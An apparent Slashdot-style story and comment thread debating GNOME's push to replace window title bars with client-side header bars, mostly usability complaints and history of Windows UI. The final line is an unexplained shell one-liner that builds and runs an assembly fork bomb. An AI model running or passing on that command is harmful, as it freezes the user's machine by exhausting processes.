Should Apps Replace Title Bars with Header Bars? (gnome.org)
Gnome contributor Tobias Bernard is on a crusade against title bars -- "the largely empty bars at the top of some application windows [that] contain only the window title and a close button." Instead he wants to see header bars -- "a newer, more flexible pattern that allows putting window controls and other UI elements in the same bar." Tobias Bernard writes:
Header bars are client-side decorations (CSD), which means they are drawn by the app rather than the display server. This allows for better integration between application and window chrome. All GNOME apps (except for Terminal) have moved to header bars over the past few years, and so have many third-party apps. However, there are still a few holdouts.
He's announcing the CSD Initiative, "an effort to get apps (both GNOME and third-party) to drop title bars and adopt GNOME-style client-side decorations... The only way to solve this problem long-term is to patch applications upstream to not use title bars. So this is what we'll have to do."
He's announcing the CSD Initiative, "an effort to get apps (both GNOME and third-party) to drop title bars and adopt GNOME-style client-side decorations... The only way to solve this problem long-term is to patch applications upstream to not use title bars. So this is what we'll have to do."
- Talk to the maintainers and convince them that this is a good idea
- Do the design work of adapting the layout and make mockups
- Figure out what is required at a technical level
- Actually implement the new layout and get it merged
Implementation is already in progress for Firefox, though it has not yet been started for other high-priority apps like LibreOffice, GNOME Terminal, and Skype. "If you want to help with any of the above tasks," writes Tobias, "come talk to us on #gnome-design on IRC/Matrix."
So, Tobias Bernard is trying to convince everyone to join his CSD Initiative
"tl;dr: Let’s get rid of title bars." he says. And what is the "tl" in this case ?
This isn't "too long". It's too short and illogical. "Title" is already the term for what he's trying to say so, he might simply be trying to say that applications don't need a title. So, I wonder he he's using a title ("Introducing the CSD Initiative") at his own article. My take: he's an idiot.
As Mate Desktop has been progressing, they've been slowly replacing Gnome 3 apps (things like certain settings apps, the NetworkManager GUI, etc) with ones more consistent with the Mate Desktop, which is traditional and has regular window title bars.
I for one never use the title bar for moving a window. I exclusively use Alt-click to move a window from anywhere in the window. However I want title bars because they distinguish one window from another using the color theme of window decorations that I want. I can make them small and efficient use of space. Gnome is what is making server-side title bars so big and wasteful. Also with HeaderBar CSDs it's very difficult to distinguish between windows as the headerbar isn't distinct form the body of other windows. This is something I've always had a hard time with on Mac, especially in recent years.
The other thing I use title bars for is to roll up or shade the window, which I use nearly every day, particularly with terminal windows! I think Gnome 3 has the ability to shade apps, even with CSD, but I'm not sure. I saw at least one bug report that said it's no longer possible. But again, where would you click to do that? CSD header bars don't offer consistency in where you can click. Do you click on what looks like a title? blank space between buttons? Hard to know.
With Linux desktops we used to celebrate diversity and choice. Now it appears Gnome 3 would be perfectly happy to be the only choice (getting rid of KDE, Mate, etc), and have all apps be Gnome 3 apps. Why would Blender ever want to integrate into Gnome 3's header bar? Blender doesn't need to look integrated, nor would it benefit it to do so. In fat it might even harm it. Better to look different and remind users that they are operating in a specific environment with a specific methodology that must be learned.
The classic title bar performs several functions of varying utility. Let me count them.
1. As the title suggests, the title bar displays the title of the window. This typically includes the name of the application and the name of document currently opened, and can easily take half the space available or even more.
2. It lights up when the window is active, and dims down when inactive, helping the user maintain focus with a busy desktop.
3. It provides an intuitive, discoverable way of dragging the window. (For experienced users, Alt+dragging is more usable, although less discoverable.)
4. It is a big target for (un)maximization via double click.
5. It is a big target for opening the window control menu via right button click.
6. It houses the window manager controls.
7. Last but not the least, the title bar is provided by the window manager in a manner consistent across the desktop. If every application toolkit starts doing its own header bars, we lose this consistency.
Back in the old days Windows had a style WS_THICKFRAME. That both made the resizeable and gave them a frame a few pixels wider. The wide frame was cue to the user they could resize and also made it bit easier to grab the frame to resize. Now of course designers have decided thick borders are aesthetically ugly, even though for less dexterous users that must make the UI harder to use.
It's like accelerators. In the original Windows accelerators were always visible. So for example the F in the File menu was underlined as cue that Alt+F would open that menu. So to save a file you'd type Alt+F, S.
Then in WIndows 2000 designers got involved and decided this was ugly so they're hidden until you hit the Alt key
https://blogs.msdn.microsoft.c...
I.e. there seems to have been a move to flatter UIs on aesthetic grounds even though this makes them less discoverable to noobies. Modern Android, macOS and Windows take this to absurd levels.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;